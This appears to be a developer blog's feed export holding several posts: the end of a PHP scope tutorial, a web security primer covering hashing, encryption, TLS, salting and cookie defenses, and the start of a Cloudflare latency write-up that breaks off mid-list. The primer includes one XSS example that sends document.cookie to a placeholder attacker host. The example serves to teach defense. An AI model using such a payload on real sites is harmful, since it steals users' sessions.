    [1] =&amp;gt; Array ( [name] =&amp;gt; Mouse [price] =&amp;gt; 25 )
    [3] =&amp;gt; Array ( [name] =&amp;gt; Keyboard [price] =&amp;gt; 75 )
)
*/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  7. 💡 Summary of PHP Concepts
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Concept&lt;/th&gt;
&lt;th&gt;Explanation&lt;/th&gt;
&lt;th&gt;Key Syntax&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Local Scope&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Variables created inside a function; destroyed upon exit.&lt;/td&gt;
&lt;td&gt;&lt;code&gt;$variable&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Global Scope&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Variables created outside any function; must be explicitly imported.&lt;/td&gt;
&lt;td&gt;&lt;code&gt;global $variable;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Static Scope&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Local variables that retain their value between function calls.&lt;/td&gt;
&lt;td&gt;&lt;code&gt;static $count = 0;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Reference&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Creates an alias for a variable, pointing to the same memory location.&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;amp;$variable&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Closure&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;An anonymous function that can be stored as a value.&lt;/td&gt;
&lt;td&gt;&lt;code&gt;function () {}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;use&lt;/code&gt; Keyword&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Imports external variables into a Closure's scope (lexical capture).&lt;/td&gt;
&lt;td&gt;&lt;code&gt;function () use ($var)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Lexical Scoping&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Closures use variables from their &lt;strong&gt;creation&lt;/strong&gt; scope.&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

</description>
      <category>webdev</category>
      <category>programming</category>
      <category>php</category>
    </item>
    <item>
      <title>📚 An In-Depth Guide to Modern Cryptography and Web Security</title>
      <dc:creator>Al Amin</dc:creator>
      <pubDate>Sun, 16 Nov 2025 12:46:07 +0000</pubDate>
      <link>https://forem.com/dev-alamin/an-in-depth-guide-to-modern-cryptography-and-web-security-452d</link>
      <guid>https://forem.com/dev-alamin/an-in-depth-guide-to-modern-cryptography-and-web-security-452d</guid>
      <description>&lt;h2&gt;
  
  
  🚀 The Essentials of Modern Cryptography and Web Security
&lt;/h2&gt;

&lt;p&gt;This comprehensive lesson serves as an in-depth resource on the core principles of data security, spanning cryptographic fundamentals, real-world protocols, and essential defense mechanisms against prevalent web attacks.&lt;/p&gt;




&lt;h2&gt;
  
  
  What we're going to learn:
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt; &lt;strong&gt;Fundamental Cryptographic Primitives&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Encryption Methods: Symmetric vs. Asymmetric&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Real-World Application &amp;amp; Hybrid Security&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Integrity &amp;amp; Authentication Mechanisms&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Web Attack Vectors and Defense&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. Fundamental Cryptographic Primitives
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1.1. Hashing: The One-Way Lock 🔐
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Hashing&lt;/strong&gt; creates a fixed-size, irreversible digital fingerprint (&lt;strong&gt;hash value&lt;/strong&gt;) from any input data. It is a one-way street—easy to travel down, impossible to walk back up.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Principle: One-Way Function&lt;/strong&gt; (Irreversibility). The process is designed to be computationally infeasible to reverse. You cannot derive the original input $D$ from the hash $H$.

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Analogy:&lt;/strong&gt; Think of a hash as a blender. You can easily turn a whole apple (input) into a fixed amount of purée (hash). Given only the purée, you can never reconstruct the original whole apple.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Key Use:&lt;/strong&gt; &lt;strong&gt;Data Integrity&lt;/strong&gt; (verification) and &lt;strong&gt;Secure Password Storage&lt;/strong&gt;.&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Property:&lt;/strong&gt; &lt;strong&gt;Deterministic&lt;/strong&gt;—the same input &lt;em&gt;always&lt;/em&gt; produces the same output. Even a single character change in the input results in a drastically different hash (&lt;strong&gt;Avalanche Effect&lt;/strong&gt;).&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Example:&lt;/strong&gt; &lt;strong&gt;SHA-256&lt;/strong&gt; (Secure Hash Algorithm), which always produces a 64-character hexadecimal output.&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  1.2. Encryption: The Two-Way Lock 🔒
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Encryption&lt;/strong&gt; is the process of scrambling readable &lt;strong&gt;plaintext&lt;/strong&gt; into unreadable &lt;strong&gt;ciphertext&lt;/strong&gt; using an algorithm and a secret &lt;strong&gt;key&lt;/strong&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Principle: Reversibility&lt;/strong&gt;. This is a two-way process. Decryption restores the plaintext using the correct key.

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Analogy:&lt;/strong&gt; Encryption is like locking a document in a strongbox (ciphertext). The key is the only thing that opens it, restoring the readable document (plaintext).&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Key Use:&lt;/strong&gt; &lt;strong&gt;Confidentiality&lt;/strong&gt; (ensuring data privacy) for data both at rest and in transit.&lt;/li&gt;

&lt;/ul&gt;




&lt;h2&gt;
  
  
  2. Encryption Methods: Symmetric vs. Asymmetric
&lt;/h2&gt;

&lt;p&gt;Modern systems combine these methods to achieve both maximum speed and secure key management.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.1. Symmetric Encryption (The Speed Dial: AES)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Mechanism:&lt;/strong&gt; Uses a &lt;strong&gt;single, shared secret key&lt;/strong&gt; for both encryption and decryption.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Strengths:&lt;/strong&gt; Extremely &lt;strong&gt;fast&lt;/strong&gt; and efficient for encrypting large volumes of data (&lt;strong&gt;bulk data transfer&lt;/strong&gt;).

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Analogy:&lt;/strong&gt; A shared padlock and a single key. Everyone uses the same key, making it quick, but the key has to be perfectly secret.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Example:&lt;/strong&gt; &lt;strong&gt;AES (Advanced Encryption Standard)&lt;/strong&gt;, the global standard, offering 128, 192, or 256-bit key sizes.&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  2.2. Asymmetric Encryption (The Secure Handshake: RSA)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Mechanism:&lt;/strong&gt; Uses a pair of mathematically linked keys: a &lt;strong&gt;Public Key&lt;/strong&gt; (shared widely) and a &lt;strong&gt;Private Key&lt;/strong&gt; (kept secret).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Strengths:&lt;/strong&gt; Solves the &lt;strong&gt;key exchange problem&lt;/strong&gt;. Anyone can use the Public Key to encrypt a message, but &lt;em&gt;only&lt;/em&gt; the owner of the Private Key can decrypt it.

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Analogy:&lt;/strong&gt; A public mailbox slot (Public Key) and a private key held only by the owner (Private Key). Anyone can drop a secret message in, but only the owner can retrieve it.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Example:&lt;/strong&gt; &lt;strong&gt;RSA&lt;/strong&gt;.&lt;/li&gt;

&lt;/ul&gt;




&lt;h2&gt;
  
  
  3. Real-World Application &amp;amp; Hybrid Security
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1. TLS/SSL: The Web's Security Foundation
&lt;/h3&gt;

&lt;p&gt;The &lt;strong&gt;TLS Handshake&lt;/strong&gt; is the quintessential &lt;strong&gt;Hybrid Encryption&lt;/strong&gt; model, maximizing security and speed for HTTPS connections.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Asymmetric Phase (RSA/ECC):&lt;/strong&gt; Used for the initial, slow phase to &lt;strong&gt;authenticate the server&lt;/strong&gt; (using its certificate) and securely &lt;strong&gt;exchange a symmetric Session Key&lt;/strong&gt; (e.g., using Diffie-Hellman).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Symmetric Phase (AES):&lt;/strong&gt; Once the secret Session Key is agreed upon, the connection switches to the fast &lt;strong&gt;AES&lt;/strong&gt; algorithm for &lt;strong&gt;all bulk application data&lt;/strong&gt; transfer.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3.2. End-to-End Messaging (WhatsApp)
&lt;/h3&gt;

&lt;p&gt;WhatsApp uses the &lt;strong&gt;Signal Protocol&lt;/strong&gt; to ensure that data is encrypted all the way from the sender's device to the recipient's device.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Key Feature: Forward Secrecy.&lt;/strong&gt; This ensures that even if an attacker compromises a user's long-term key, they &lt;strong&gt;cannot&lt;/strong&gt; decrypt past communications.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mechanism:&lt;/strong&gt; Achieved by constantly generating new, temporary symmetric keys (via the &lt;strong&gt;Double Ratchet Algorithm&lt;/strong&gt;) for every message. If one key is compromised, only that single message is at risk.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  4. Integrity &amp;amp; Authentication Mechanisms
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.1. Digital Signatures and JWTs (JSON Web Tokens)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Standard JWTs&lt;/strong&gt; focus on &lt;strong&gt;authentication and integrity&lt;/strong&gt; using digital signatures, &lt;em&gt;not&lt;/em&gt; confidentiality.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Mechanism:&lt;/strong&gt; A JWT is &lt;strong&gt;Signed&lt;/strong&gt; by the server using hashing (&lt;strong&gt;HMAC-SHA256&lt;/strong&gt;) and a secret key.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Goal:&lt;/strong&gt; The signature proves two things to the receiving application:

&lt;ol&gt;
&lt;li&gt; &lt;strong&gt;Authenticity:&lt;/strong&gt; The token was issued by the legitimate server.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Integrity:&lt;/strong&gt; The token's payload has &lt;strong&gt;not been modified&lt;/strong&gt; in transit.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Note:&lt;/strong&gt; The payload is only Base64URL encoded, making it readable. For the content to be confidential, the entire transmission &lt;strong&gt;must&lt;/strong&gt; occur over &lt;strong&gt;TLS/HTTPS&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  4.2. Attacks and Countermeasures: Rainbow Tables vs. Salting
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Rainbow Table Attack:&lt;/strong&gt; A precomputed table used to quickly look up a stolen hash $H$ and find the original plaintext password $P$. This exploits the determinism of hashing.

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Analogy:&lt;/strong&gt; An attacker creating a massive, pre-indexed dictionary of every possible hash output to instantly reverse passwords.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Defense: Salting:&lt;/strong&gt; A unique, random string (&lt;strong&gt;the salt&lt;/strong&gt;) is added to &lt;strong&gt;each user's password&lt;/strong&gt; before hashing. The salt is then stored alongside the hash.
&lt;/li&gt;

&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="err"&gt;$$&lt;/span&gt;&lt;span class="n"&gt;\text&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nc"&gt;Stored&lt;/span&gt; &lt;span class="nc"&gt;Hash&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; 
&lt;span class="n"&gt;\text&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nc"&gt;Hash&lt;/span&gt;&lt;span class="p"&gt;}(&lt;/span&gt;&lt;span class="n"&gt;\text&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nc"&gt;Password&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;\text&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nc"&gt;Unique&lt;/span&gt; &lt;span class="nc"&gt;Salt&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;&lt;span class="err"&gt;$$&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This forces the attacker to recalculate the rainbow table for every single user's unique salt, making the attack computationally prohibitive.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Web Attack Vectors and Defense
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1. Session and Cookie Hijacking
&lt;/h3&gt;

&lt;p&gt;Attackers steal the &lt;strong&gt;Session ID&lt;/strong&gt; (often stored in a cookie) to impersonate an authenticated user and bypass login credentials and MFA.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Key Attacks:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Cross-Site Scripting (XSS):&lt;/strong&gt; Injecting malicious JavaScript (e.g.
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http://attacker.com/?cookie=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/script&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;to steal the cookie.&lt;br&gt;
    * &lt;strong&gt;Session Sniffing:&lt;/strong&gt; Intercepting unencrypted (HTTP) network traffic to read the Session ID in plain text.&lt;br&gt;
    * &lt;strong&gt;Session Fixation:&lt;/strong&gt; Forcing a user to authenticate with a known, predictable session ID that the attacker already possesses.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.2. Prevention Strategies
&lt;/h3&gt;

&lt;p&gt;Effective defense requires setting secure cookie properties and robust server-side session management.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Defense Mechanism&lt;/th&gt;
&lt;th&gt;Target Attack&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;HttpOnly&lt;/code&gt; Cookie Flag&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;XSS&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Crucial defense.&lt;/strong&gt; Prevents &lt;em&gt;any&lt;/em&gt; client-side script from accessing the cookie via &lt;code&gt;document.cookie&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;Secure&lt;/code&gt; Cookie Flag &amp;amp; HTTPS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Session Sniffing&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Mandatory.&lt;/strong&gt; Ensures the cookie is only transmitted over an encrypted TLS connection.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Regenerate Session ID on Login&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Session Fixation&lt;/td&gt;
&lt;td&gt;Invalidates the old, anonymous session ID and issues a &lt;strong&gt;brand new, random one&lt;/strong&gt; upon successful authentication.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Session Timeouts &amp;amp; Strong Random IDs&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Prediction &amp;amp; Brute-Force&lt;/td&gt;
&lt;td&gt;Limits the attack window and makes guessing the ID computationally infeasible.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Modern web security is built on layers:&lt;/strong&gt; hashing for integrity, encryption for confidentiality, TLS for end-to-end protection, and strict cookie/session rules to defend against attacks.&lt;/p&gt;

&lt;p&gt;In future posts, we’ll dive deeper into:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;How HTTPS certificates work&lt;/li&gt;
&lt;li&gt;How OAuth2 and OpenID Connect secure logins&lt;/li&gt;
&lt;li&gt;Practical PHP/JS code examples&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>webdev</category>
      <category>security</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>A Clean Way to Parse Words from a String</title>
      <dc:creator>Al Amin</dc:creator>
      <pubDate>Sat, 11 Oct 2025 17:04:43 +0000</pubDate>
      <link>https://forem.com/dev-alamin/-1pk7</link>
      <guid>https://forem.com/dev-alamin/-1pk7</guid>
      <description>&lt;p&gt;

&lt;/p&gt;
&lt;div class="ltag__link--embedded"&gt;
  &lt;div class="crayons-story "&gt;
  &lt;a href="https://dev.to/dev-alamin/dsa-pattern-a-clean-way-to-parse-words-from-a-string-22bb" class="crayons-story__hidden-navigation-link"&gt;DSA Pattern: A Clean Way to Parse Words from a String&lt;/a&gt;


  &lt;div class="crayons-story__body crayons-story__body-full_post"&gt;
    &lt;div class="crayons-story__top"&gt;
      &lt;div class="crayons-story__meta"&gt;
        &lt;div class="crayons-story__author-pic"&gt;

          &lt;a href="/dev-alamin" class="crayons-avatar  crayons-avatar--l  "&gt;
            &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1221523%2F339830b8-3863-4114-b02c-3f19db5b7829.jpeg" alt="dev-alamin profile" class="crayons-avatar__image"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
        &lt;div&gt;
          &lt;div&gt;
            &lt;a href="/dev-alamin" class="crayons-story__secondary fw-medium m:hidden"&gt;
              Al Amin
            &lt;/a&gt;
            &lt;div class="profile-preview-card relative mb-4 s:mb-0 fw-medium hidden m:inline-block"&gt;
              
                Al Amin
                
              
              &lt;div id="story-author-preview-content-2568900" class="profile-preview-card__content crayons-dropdown branded-7 p-4 pt-0"&gt;
                &lt;div class="gap-4 grid"&gt;
                  &lt;div class="-mt-4"&gt;
                    &lt;a href="/dev-alamin" class="flex"&gt;
                      &lt;span class="crayons-avatar crayons-avatar--xl mr-2 shrink-0"&gt;
                        &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1221523%2F339830b8-3863-4114-b02c-3f19db5b7829.jpeg" class="crayons-avatar__image" alt=""&gt;
                      &lt;/span&gt;
                      &lt;span class="crayons-link crayons-subtitle-2 mt-5"&gt;Al Amin&lt;/span&gt;
                    &lt;/a&gt;
                  &lt;/div&gt;
                  &lt;div class="print-hidden"&gt;
                    
                      Follow
                    
                  &lt;/div&gt;
                  &lt;div class="author-preview-metadata-container"&gt;&lt;/div&gt;
                &lt;/div&gt;
              &lt;/div&gt;
            &lt;/div&gt;

          &lt;/div&gt;
          &lt;a href="https://dev.to/dev-alamin/dsa-pattern-a-clean-way-to-parse-words-from-a-string-22bb" class="crayons-story__tertiary fs-xs"&gt;&lt;time&gt;Jun 6 '25&lt;/time&gt;&lt;span class="time-ago-indicator-initial-placeholder"&gt;&lt;/span&gt;&lt;/a&gt;
        &lt;/div&gt;
      &lt;/div&gt;

    &lt;/div&gt;

    &lt;div class="crayons-story__indention"&gt;
      &lt;h2 class="crayons-story__title crayons-story__title-full_post"&gt;
        &lt;a href="https://dev.to/dev-alamin/dsa-pattern-a-clean-way-to-parse-words-from-a-string-22bb" id="article-link-2568900"&gt;
          DSA Pattern: A Clean Way to Parse Words from a String
        &lt;/a&gt;
      &lt;/h2&gt;
        &lt;div class="crayons-story__tags"&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/webdev"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;webdev&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/php"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;php&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/dsa"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;dsa&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/algorithms"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;algorithms&lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="crayons-story__bottom"&gt;
        &lt;div class="crayons-story__details"&gt;
          &lt;a href="https://dev.to/dev-alamin/dsa-pattern-a-clean-way-to-parse-words-from-a-string-22bb" class="crayons-btn crayons-btn--s crayons-btn--ghost crayons-btn--icon-left"&gt;
            &lt;div class="multiple_reactions_aggregate"&gt;
              &lt;span class="multiple_reactions_icons_container"&gt;
                  &lt;span class="crayons_icon_container"&gt;
                    &lt;img src="https://assets.dev.to/assets/multi-unicorn-b44d6f8c23cdd00964192bedc38af3e82463978aa611b4365bd33a0f1f4f3e97.svg" width="18" height="18"&gt;
                  &lt;/span&gt;
                  &lt;span class="crayons_icon_container"&gt;
                    &lt;img src="https://assets.dev.to/assets/raised-hands-74b2099fd66a39f2d7eed9305ee0f4553df0eb7b4f11b01b6b1b499973048fe5.svg" width="18" height="18"&gt;
                  &lt;/span&gt;
                  &lt;span class="crayons_icon_container"&gt;
                    &lt;img src="https://assets.dev.to/assets/sparkle-heart-5f9bee3767e18deb1bb725290cb151c25234768a0e9a2bd39370c382d02920cf.svg" width="18" height="18"&gt;
                  &lt;/span&gt;
              &lt;/span&gt;
              &lt;span class="aggregate_reactions_counter"&gt;10&lt;span class="hidden s:inline"&gt; reactions&lt;/span&gt;&lt;/span&gt;
            &lt;/div&gt;
          &lt;/a&gt;
            &lt;a href="https://dev.to/dev-alamin/dsa-pattern-a-clean-way-to-parse-words-from-a-string-22bb#comments" class="crayons-btn crayons-btn--s crayons-btn--ghost crayons-btn--icon-left flex items-center"&gt;
              Comments


              9&lt;span class="hidden s:inline"&gt; comments&lt;/span&gt;
            &lt;/a&gt;
        &lt;/div&gt;
        &lt;div class="crayons-story__save"&gt;
          &lt;small class="crayons-story__tertiary fs-xs mr-2"&gt;
            2 min read
          &lt;/small&gt;
            
              &lt;span class="bm-initial"&gt;
                

              &lt;/span&gt;
              &lt;span class="bm-success"&gt;
                

              &lt;/span&gt;
            
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;/div&gt;




</description>
      <category>webdev</category>
      <category>php</category>
      <category>dsa</category>
      <category>algorithms</category>
    </item>
    <item>
      <title>Cloudflare Proxy Issue in Bangladesh: My Painful Experience</title>
      <dc:creator>Al Amin</dc:creator>
      <pubDate>Mon, 06 Oct 2025 05:53:36 +0000</pubDate>
      <link>https://forem.com/dev-alamin/cloudflare-proxy-issue-in-bangladesh-my-painful-experience-49ii</link>
      <guid>https://forem.com/dev-alamin/cloudflare-proxy-issue-in-bangladesh-my-painful-experience-49ii</guid>
      <description>&lt;h2&gt;
  
  
  Cloudflare Proxy Nightmare in Bangladesh (Dev Case Study)
&lt;/h2&gt;

&lt;p&gt;For the last two days, I nearly lost my mind working on a client website.&lt;br&gt;&lt;br&gt;
Everything looked fine from my end, but the site was &lt;strong&gt;unbearably slow&lt;/strong&gt; from normal ISP connections in Bangladesh.  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Pages took forever to load
&lt;/li&gt;
&lt;li&gt;Assets crawled
&lt;/li&gt;
&lt;li&gt;I debugged &lt;em&gt;everything&lt;/em&gt;: hosting, database, PHP-FPM, Nginx rules—you name it.
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  The Twist
&lt;/h2&gt;

&lt;p&gt;When I connected through a &lt;strong&gt;VPN&lt;/strong&gt;, the website was blazing fast.&lt;br&gt;&lt;br&gt;
Smooth, perfect, just how it should be. That’s when the puzzle got ugly.&lt;/p&gt;

&lt;p&gt;After hours of testing, breaking and rebuilding parts of the site, I discovered the real culprit:&lt;/p&gt;

&lt;p&gt;👉 &lt;strong&gt;Cloudflare Proxy Mode&lt;/strong&gt;  &lt;/p&gt;

&lt;p&gt;The moment I paused Cloudflare (disabled proxy → DNS only), the site became &lt;strong&gt;lightning-fast again&lt;/strong&gt;—even from normal Bangladeshi IPs.&lt;/p&gt;

&lt;h2&gt;
  
  
  So What’s Going On?
&lt;/h2&gt;

&lt;p&gt;It looks like Cloudflare’s &lt;strong&gt;edge routing/peering inside Bangladesh&lt;/strong&gt; (and possibly in other countries with weaker infrastructure) is &lt;strong&gt;unreliable or congested&lt;/strong&gt;.  &lt;/p&gt;

&lt;p&gt;Instead of speeding things up, the proxy nodes were slowing websites down &lt;em&gt;massively&lt;/em&gt;.  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;From abroad or over VPN: fine.
&lt;/li&gt;
&lt;li&gt;From local ISPs in BD: nightmare.
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I literally wasted &lt;strong&gt;two days of work&lt;/strong&gt;, destroyed and rebuilt a client site, doubted my server setup, and pulled my hair out—when all along, it was Cloudflare’s proxy causing the issue.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where Else Can This Happen?
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Countries with unstable or throttled peering agreements
&lt;/li&gt;
&lt;li&gt;Regions with weak Cloudflare data center presence
&lt;/li&gt;
&lt;li&gt;ISPs that throttle or misroute Cloudflare IP ranges
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  How Cloudflare Proxy Works
&lt;/h2&gt;

&lt;p&gt;When you enable proxy (orange cloud):  &lt;/p&gt;

&lt;p&gt;If your site is fast in &lt;strong&gt;DNS-only mode&lt;/strong&gt; but slow with &lt;strong&gt;proxy&lt;/strong&gt;, the issue is in that &lt;strong&gt;first hop&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Main Technical Reasons
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Poor Peering:&lt;/strong&gt; BD ISPs often route Cloudflare traffic via India/Singapore instead of Dhaka → higher latency &amp;amp; packet loss.
&lt;/li&gt;
&lt;li&gt;
